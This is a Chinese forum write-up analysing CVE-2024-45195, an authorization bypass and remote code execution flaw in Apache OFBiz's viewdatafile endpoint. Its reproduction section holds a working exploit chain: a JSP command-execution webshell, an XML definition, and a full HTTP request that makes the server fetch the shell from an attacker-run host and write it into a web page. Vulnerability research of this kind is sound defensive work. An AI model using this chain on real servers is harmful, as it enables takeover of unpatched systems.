问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
ofbiz权限绕过远程执行漏洞(CVE-2024-45195)
漏洞分析
在ofbiz的新版本中,对ProgramExport和EntitySQLProcessor添加了权限校验,如果需要造成命令执行,就需要寻找其他的可执行命令点,这里是viewdatafile,该漏洞可是说是对cve-2024-36104的绕过
一、漏洞简介 ------ CVE-2024-45195算是对前些漏洞,比如 CVE-2024-36104的绕过,在之前的漏洞利用点中,最常使用的两个模板ProgramExport和EntitySQLProcessor 但是自从18.12.14开始,这两个模板添加了权限的校验  虽然添加了权限的校验,但是模板覆写导致端点不同导致权限绕过的问题还是可能存在的 二、影响版本 ------ ofbiz≤18.12.15 三、环境搭建 ------ 从https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.15 下载源码 idea打开之后,配置gradle,执行下面的build得到jar包  最后执行数据导入,在下载的文件夹的根目录执行gradlew loadAll 开始调试即可 四、漏洞原理分析 -------- 对于权限的绕过,在https://forum.butian.net/article/524 以及描述的很清楚了,主要就是两个函数收到的不同端点来处理业务 这里分析一下viewdatafile.groovy这个文件是如何替代ProgramExport和EntitySQLProcessor来执行命令的  首先接收DATAFILE\_SAVE,ENTITYXML\_FILE\_SAVE,DATAFILE\_LOCATION,DEFINITION\_LOCATION,DEFINITION\_NAME,DATAFILE\_IS\_URLDEFINITION\_IS\_URL这些参数 然后根据dataFileIsUrl和definitionIsUrl这两个参数的值是否为true,来设置dataFileUrl和definitionUrl为URL类型的值  如果definitionUrl有值,则进入getModelDataFileReader方法  先从readers里面读取,如果没有的话就根据传入的url来创建一个  这里`createModelDataFiles` 方法里面就去远程读取xml文件  xml文档的示例在[](https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools)<https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz's+Data+File+Tools>中 后续就是对xml文档的解析,然后返回这个xml文档的句柄 `reader.getDataFileNames()).iterator()` 得到该xml文档data-file属性的迭代对象 进入readFile方法  这里第一步就是重复上面的步骤,返回一个xml文档的DataFile对象 回到readFile  进入readDataFile方法 这里也有一个与之前类似的方法,读取外部的链接,然后setupStream方法保存  在setupStream方法的调用流里面需要注意的点是,远程读取了恶意的jspshell之后,后续会根据之前读取的xml配置文件里面配置的length长度来读取,并且根据name属性来保存成一个key value的形式以便后续读取  回到viewdatafile.groovy  `getModelDataFile` 返回数据模型对象 进入`writeDataFile` 方法,传入文件保存位置的参数  在`writeDataFile` 当中保存shell 五、漏洞复现 ------ 创建文件rcereport.txt ```jsx <% Runtime.getRuntime().exec(request.getParameter("cmd"));%> ``` rceschema.xml ```jsx <data-files xsi:noNamespaceSchemaLocation="<http://ofbiz.apache.org/dtds/datafiles.xsd>" xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"> <data-file name="jspshell" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8"> <record name="jspshell" limit="many"> <field name="jspshell" type="String" length="60" position="0"></field> </record> </data-file> </data-files> ``` rceschema.xml里面几个主要的值 data-file必须和数据包里的DEFINITION\_NAME值相同 length长度为rcereport.txt-1 在这两个文件的目录下起一个python http服务 `python -m http.server` 发送数据包即可 ```jsx POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1 Host: 127.0.0.1:8443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Cookie: JSESSIONID=2778A721833652B44A6A08356E4855B3.jvm1; OFBiz.Visitor=10000 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: cross-site Content-Length: 246 DATAFILE_LOCATION=http://127.0.0.1:8000/rcereport.txt&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=jspshell ```  最后访问/accounting/index.jsp?cmd=calc  六、总结 ---- CVE-2024-45195和之前的CVE-2024-36104的执行命令方式大致相似,只不过是将ProgramExport和EntitySQLProcessor换成了viewdatafile来执行代码
发表于 2024-09-10 10:00:01
阅读 ( 10216 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
yrf2314
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!